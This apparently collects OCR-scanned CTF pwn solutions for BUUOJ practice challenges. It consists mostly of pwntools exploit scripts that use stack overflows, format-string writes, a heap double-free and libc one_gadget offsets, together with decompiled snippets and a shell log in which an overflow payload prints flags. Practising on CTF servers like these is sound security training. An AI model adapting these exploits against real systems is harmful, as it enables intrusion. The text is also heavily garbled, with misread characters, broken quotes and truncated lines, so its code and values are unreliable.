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# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'’
context.arch = 'amd64’
elf = ELF('r2t3")

p =29

def pwn(ip,port,debug):

global p

if(debug == 1):

p = process('./r2t3")

else:
p = remote(ip,port)
#gdb.attach(p)
payload="a'*0x15+p32(0x804858B)+"w" *Oxaef+'\x00"'+"'w'*0x10+p32(0x804858B)
p.sendlineafter("your name:\n",payload)

p.interactive()

if _name__ == '_main__ ':
pwn( 'buuoj.cn',27745,0)
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# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug’
context.arch = 'amd64’
elf = ELF('one_gege')
p =29
def pwn(ip,port,debug):
global p

if(debug == 1):

p = process('./one_gege')

else:

p = remote(ip,port)
#gdb.attach(p)

libc=ELF("/1ib/x86_64-1inux-gnu/libc.so.6")
one_ge=[0xe237f,0xe2383,0xe2386,0x106ef8]
p.recvuntil("u:0x")
printf_addr=int(p.recv(12),16)
libcbase_addr=printf_addr-libc.symbols[ 'printf"']
p.sendlineafter("your one gadget:",str(one_ge[3]|+libcbase_addr))

p.interactive()

if __name__ == '__main__ ":

pwn( 'node3.buuoj.cn"',25164,0)
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from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug’
context.arch = 'amd64d’
elf = ELF('gfriend")
p =29
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./gfriend")

else:

p = remote(ip,port)

def add(size,name):

p.sendlineafter("u choice :\n","1")
p.sendlineafter("length of her name:\n",str(size))
p.sendlineafter("tell me her name:\n",name)
def free(index):

p.sendlineafter("u choice :\n","2")
p.sendlineafter("Index :",str(index))

def show(index):
p.sendlineafter("u choice :\n","3")
p.sendlineafter("Index :",str(index))
add(0x20, "wei"

free(0)

free(0)

add(0x10, p64(8x400D86)*2)

show(9)

#gdb.attach(p)

p.interactive()

if _name__ == ' main__ ":

pwn( 'node3.buuoj.cn"',28441,0)
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# -*- coding: utf-8 -*
from pwn import *

from LibcSearcher import *
context.log_level = 'debug’

context.arch = 'amde4’
elf = ELF('r2t4")
p=29

def pwn(ip,port,debug):
global p

if(debug == 1):

p = process('./r2t4")

else:

p = remote(ip,port)
#gdb.attach(p)
payload="aaa%61c%9$hn%1510c%10$hn "' +p64 (0x601018+2)+p64(0x601018)
p.sendline(payload)

p.interactive()

if __name__ == '__main__":
pwn( "buuoj.cn',28898,0)
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import re
file=open("secret.asm",'r")
file2=open("jieguo.txt",'w")
data=file.readlines()

for i in range(len(data)):

if re.search('cmp eax, ',datal[i]):
file2.write(data[i][29:33]+"'\n")
print "yes"
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# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
#context.log_Level = 'debug'
context.arch = 'amd64’
elf = ELF('secret')

p =20

def pwn(ip,port,debug):

global p

if(debug == 1):

p = process('./secret")

else:
p = remote(ip,port)
#gdb.attach(p)
file=open("jieguo.txt","r")
data=file.readlines()
p.sendafter("your name? ","a"*0x10)
for i in range(len(data)):
p.sendlineafter("Secret: ",str(int(datal[i],16)))
print "===>",i,"/10000"
p.sendlineafter("Secret: ","0")
p.interactive()
if _name__ == "' main__ ":
pwn( 'buuoj.cn',25338,0)
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# -*- coding: utf-8 -*
from pwn import

from LibcSearcher import
context.log_level
context.arch

elf ELF

p (7]

def pwn(ip,port,debug
global p

if(debug 1

p = process

else
p = remote(ip,port
#gdb.attach(p)
p.recvuntil
p.sendlineafter
p.recvuntil
addr p.recv(10
p.sendlineafter addr
p.sendline
p.interactive
if __name__
while(1
try
pwn 29409,0
except EOFError
p.close

continue
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$ 1s
flag snake snake.c
$ cat flag

flag{ff/eedd3-e6e8-4930-aad8-b714ded08alf } Ao oI Re s ARatc I SRR LA




FENZ RN TR L,

3| cnar vz; fj ai

4] dnt v4; ff [esp+8h] |

5| unsigned int 1; // [e ebp-7Ch]

6| char addr[128]; [/ [es] ebp-78h]

7 b

8| v4 = e;

9l JUMPOUT(sys_read(fd, bufl, ©x8@u), 0, &failed);
1@ JUMPOUT(sys_read(al, addr, @x80u), @, &failed);
11{ for ( i = @; addr[1] + bufl[i] &k Ox400; ++1 )
12l {

13 v2 = bufl[i];
14 if { v2 1= addrli] )
L5 return v4d + 1;
16 if ( v2 == 18 )
17 ++vdl;

gl

H)\NNFHR R, @i EEprinted 3, KA A sys_write(1, vl + 1, len);

sys_write(1, vl + 1, len);XfNiL%w

.text:0804915E mov eax, 4

.text:08049163 mov ebx, 1 ; fd

.text:08049168 mov ecx, esi

.text:0804916A add ecx, 1 ; addr
.text:0804916D mov edx, [ebp+len] ; len
.text:08049170 int 86h ; LINUX - sys_write
.text:08049172 leave

[E] B 7E 30 H R Blcompare 43 i Tretnfi,  esiZi /725 RIl 455 T-flagiythilt, #Ji&payload python -c “print
'a'*120+"'\x5e\x91\x04\x08\x5e\x91\x04\x08"'" >flag2

expiid

ctf@aa0as882d21a:~$ cd /tmp

ctf@aa0as882d21a:/tmp$ 1s

ctf@aaasd882d21a:/tmp$ python -c "print 'a'*120+'\x5e\x91\x04\x08\x5e\x91\x04\x08"'" >flag2
ctf@aavas882d21a:/tmp$ cd

ctf@aavas882d21a:~$ ./diff flag /tmp/flag2

lag{268e75bb-820a-4a39-8bf5-e7f38299a9da}

Segmentation fault (core dumped)
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void questionnaire(void){

int Goal;

char Answer[0x20];

puts ("RILE] T — K ETaQiniMHE L") ;
printf("1.Snake RFEk, FIZIHATR:");
scanf("%20s",Answer);

printf("2.Pwn/Game EMFHLIL[Y/n]:");
scanf("%20s",Answer);

printf ("3 RERKSEE:");
scanf("%d",Goal); //->{EiXH, £l LKEAME
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unsigned __ 1ntb4 questionnaire()

{

unsigned int v1; // [rsp+Ch] [r“jﬂ-?ai“k
char v2; /f [rsp+18h] [rbp-38h]
unsigned _ int64 v3; f/ [rsp+38h] [rbp-8h]

v3 = _ readfsqword(@x28u);
puts(&byte 4034F8);
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char src; // [rsp+8h] [Pjs-llﬁhN
unsigned  int64d v2; // [rsp+188h] [rbp-Eh

vZ2 = _ readfsqword(@x28u);

printf(&byte 4034B8);

__is50c99 scanf(( inted)&unk 4034F4, (  int6d)&src);
strncpy(Name, &src, @x10ulLLl);

return _ readfsgword(@x28u) *~ vZ;
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# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug’
context.arch = 'amd64’
elf = ELF('snake")
p =20
def pwn(ip,port,debug):
global p

if(debug == 1):

p = process('./snake")

else:

shell=ssh(host=ip, user='ctf', port=28090, password='sNaKes")
#p = remote(ip,port)
p=shell.process("./snake")
.sendlineafter("ififiak]:", "A"*220+p64(0x4050FC))
.sendlineafter (" il lp 4 7", "we"
.sendlineafter("bcJL[Y/n]:","y")
.sendlineafter (") 4 &: ", '40000" )
.interactive()
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if __name__ == '__main__ ":

pwn( 'buuoj.cn',20035,0)

test
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